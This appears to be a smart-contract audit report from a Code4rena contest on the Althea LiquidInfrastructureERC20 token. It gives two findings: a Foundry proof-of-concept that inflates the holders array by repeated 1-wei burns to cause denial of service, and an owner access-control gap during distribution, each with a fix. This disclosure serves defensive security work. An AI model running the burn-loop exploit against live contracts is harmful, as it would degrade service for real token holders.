Althea Liquid Infrastructure - 0x0bserver's results

Lines of code

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/bd6ee47162368e1999a0a5b8b17b701347cf9a7d/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L127-L146 https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/bd6ee47162368e1999a0a5b8b17b701347cf9a7d/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L142-L145

Vulnerability details

Impact

holder can burn ERC20 tokens which leads DOS attack.

Bug

holder can burn ERC20 tokens via burnAndDistribute. This triggers the _beforeTokenTransfer hook, which increases the length of holder array by adding 0 addresses to the array.

Attacker can burn tokens in small amounts such as 1 wei a time to accumulate and increase the array length to a very large number, which in turn will make gas very costly to execute all major functions of the contract LiquidInfrastructureERC20 such as mint, burn and distribute.

Proof of Concept

Here is the foundry test file

Here is the test with main logic of the exploit:

Codefunction testHigh() public {
        // Owner approves attacker and mints and transfers 1 ether to attacker
        vm.startPrank(owner);
        liquidERC20.approveHolder(attacker);
        liquidERC20.mint(attacker, 1 ether);

        // holders array length is 1
        assertEq(liquidERC20.holderLength(), 1);
        vm.stopPrank();

        // attacker burns 1 wei at a time to increase the length of the holders array
        vm.startPrank(attacker);
        liquidERC20.burnAndDistribute(1);

        // holders array length is 2
        assertEq(liquidERC20.holderLength(), 2);

        for (uint i = 0; i < 1000; i++) {
            liquidERC20.burnAndDistribute(1);
        }

        console.log("Holders Array Length: ", liquidERC20.holderLength());
        vm.stopPrank();
    }

Tools Used

Foundry

Recommended Mitigation Steps

Add these lines in _beforeTokenTransfer function of LiquidInfrastructureERC20 contract.

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual override {
        require(!LockedForDistribution, "distribution in progress");
        if (!(to == address(0))) {
            require(
                isApprovedHolder(to),
                "receiver not approved to hold the token"
            );
        }
        if (from == address(0) || to == address(0)) {
            _beforeMintOrBurn();
        }
        bool exists = (this.balanceOf(to) != 0);
--        if (!exists) {
++       if (!exists && to != address(0)) {
            holders.push(to);
        }
    }

Assessed type

DoS

Lines of code

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/bd6ee47162368e1999a0a5b8b17b701347cf9a7d/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L441-L445

Vulnerability details

Impact

Owner can make changes in distributableERC20s while distribution is running.

Bug

Only transfers, mints, and burns functions are locked while distribution is running. Which gives Owner opportunity to make changes such that -

1. Owner can replace high value ERC20 tokens with lower value to be distributed among holders.
2. Owner can rearrange distributableERC20s such that lower erc20EntitlementPerUnit value corresponds to higher distributableERC20s valued ERC20 tokens. This will result in uneven distribution of tokens with everyone getting lower valued tokens.

There is no Access Control in setDistributableERC20s function to prevent owner from changing the distributableERC20s while distribution is running. Owner only needs to set distributableERC20s using setDistributableERC20s function to his desired list to target any and every holder in ditribution phase.

Tools Used

Foundry

Recommended Mitigation Steps

Add these lines in disapproveHolder function of LiquidInfrastructureERC20 contract.

    function setDistributableERC20s(
        address[] memory _distributableERC20s
    ) public onlyOwner {
++        require(!LockedForDistribution, "cannot make changes in distributableERC20s during distribution");
        distributableERC20s = _distributableERC20s;
    }

Assessed type

Access Control